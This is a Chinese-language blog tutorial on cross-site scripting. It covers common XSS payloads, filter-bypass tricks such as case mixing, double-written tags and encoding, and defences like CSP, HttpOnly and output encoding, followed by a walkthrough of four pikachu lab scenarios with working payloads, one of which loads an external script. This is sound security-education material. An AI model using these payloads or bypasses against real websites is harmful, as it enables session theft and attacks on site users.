Web漏洞-XSS繞過和pikachu靶場4個場景(三)

★★實戰前置聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將其信息做其他用途,由用戶承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。

1、XSS漏洞挖掘與繞過

1.1、XSS漏洞挖掘

數據交互(輸入/輸出)的地方最容易產生跨站腳本,最重要的是考慮輸入、輸出在什麼地方。一般常會對網站的輸入框、URL參數、COOKIE、POST表單、HTTP頭內容進行測試。

1.2、手工測試XSS步驟

1、找到測試點,比如搜索框、留言板。

2、根據測試流程首先實驗一些特殊符號的輸入,發現可以正常輸出,說明後端並沒有進行相關的過濾。比如:'<>?"&/6666

3、如果有過濾則進行相關的繞過。

1.3、XSS常見POC

常見XSS語句<script>標籤

<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常見XSS語句<img>標籤

<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能執行  
<img src=# onmouseover="alert(1)">

常見XSS語句<a>標籤

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" onclick="alert(1)"> xss</a>

1.4、XSS漏洞繞過方法

// 1.大小寫繞過
<ScRiPt>alert(1)</ScRiPt>
// 2.雙寫繞過
<sc<script>ript>alert(/xss/)</script>
// 3.反引號繞過
`` 繞過單雙引號的過濾
// 4.關閉標籤(利用<>關閉標籤)
"> <script>alert(1)</script>
// 5.超鏈接標籤
< a href= > 1 </ a>
// 6.圖片鏈接繞過
< img src=1 onerror=alert(1)>
// 7.編碼繞過
-- 八進制、十進制、十六進制編碼、html實體編碼、url編碼、base64等   
// 8.空格、回車、換行符、tab、混淆

2、XSS漏洞防禦

2.1、CSP內容安全策略

CSP全稱:Content Security Policy,內容安全策略:禁止加載外域代碼,防止複雜的攻擊邏輯;禁止外域提交,網站被攻擊後,用戶數據不會泄露到外域;禁止內聯腳本執行(規則較嚴格);禁止未授權的腳本執行。

2.2、設置HttpOnly

通過設置HttpOnly防止cookie被竊取

2.3、輸入輸出檢查

前端js和後端(php)完善的過濾機制:輸入驗證和輸出編碼。也可以做硬件防護:WAF和數據庫安全等。

< 轉成&lt;
> 轉成&gt;       
& 轉成&amp    
" 轉成&quot
' 轉成&#39

2.4、白名單或者黑名單

白名單驗證:檢查用戶提交的數據,只接受指定長度範圍內,適當格式和預期字符的輸入,其餘一律過濾。

黑名單驗證:過濾包含XSS代碼特徵的內容,比如:<、 >、script、#

3、pikachu靶場4個場景實驗

3.0、總體思路說明

先隨便填寫提交,看界面展示數據,右擊查看頁面源碼數據是與回顯一樣,然後根據數據結構確定構建poc提交驗證。

測試驗證內容

'<>?"&/6666

3.1、xss之過濾

3.1.1、正常操作

輸入'<>?"&/6666,發現顯示有點奇怪,按F12看源碼發現內容回顯,被單引號包起來,界面顯示如下:

3.1.2、查看源碼

輸入如下內容,按F2看源碼,發現輸入的內容script標籤的內容全部被過濾掉了

我測試一下'<script>alert(1)</script>

3.1.3、確定攻擊poc

以下是驗證通過的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>

3.2、xss之htmlspecialchars

3.2.1、正常操作

輸入'<>?"&/6666,界面顯示如下:

3.2.2、查看源碼

查看源碼,發現輸入的內容,是填充在a標籤的href和標籤內,有被編碼過的,href是用單引號的。

3.2.3、確定攻擊poc

攻擊poc就可以採用a標籤彈窗方式的語句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href裏面的部分,且alert()的內容需要用雙引號,或者用數字的方式。

驗證成功的poc

javascript:alert("test")
javascript:alert(123)

3.3、xss之href輸出

3.3.1、正常操作

輸入'<>?"&/6666,界面顯示如下:

3.3.2、查看源碼

查看源碼,發現輸入的內容,是填充在a標籤的href內,沒有被編碼過的。

3.3.3、確定攻擊poc

攻擊poc就可以採用a標籤彈窗方式的語句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href裏面的部分,且alert()的內容用單/雙引號都可,或者用數字的方式。

驗證成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

3.4、xss之js輸出

3.4.1、正常操作

輸入'<>?"&/6666,不顯示任何東西,換成123嘗試,界面顯示如下:

3.4.2、查看源碼

根據上面顯示的內容,定位到p標籤有一個id="fromjs",嘗試搜索關鍵字:fromjs,發現頁面有一段javascript代碼,因此採用嘗試閉合標籤的方式。

3.4.3、確定攻擊poc

驗證成功的poc

</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>

4、總結

本文是Web漏洞-XSS攻擊的第三篇,至此XSS攻擊相關內容就告一段落。當時在做pikachu靶場實驗【XSS之js輸出】時完全沒有頭緒,前面9個實驗的POC都無效,後來問了我的老師給我提示,查看源碼了嘗試閉合標籤的方式,就瞬間明白了。有時知道一個知識點,到實際運用還是會懵,因此需要多練。與大家共勉。

後面會有CSRF、SSRF,SQL注入等內容的分享,其中SQL注入內容會比較多。還有一些PHP,Python編程的基礎知識,如果大家感興趣的話,可以留言反饋,我再整理出來分享也可以。

5、資料獲取

靶場環境搭建請參考《靶場環境搭建【XP、pikachu、dvwa、sqli-labs】》

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章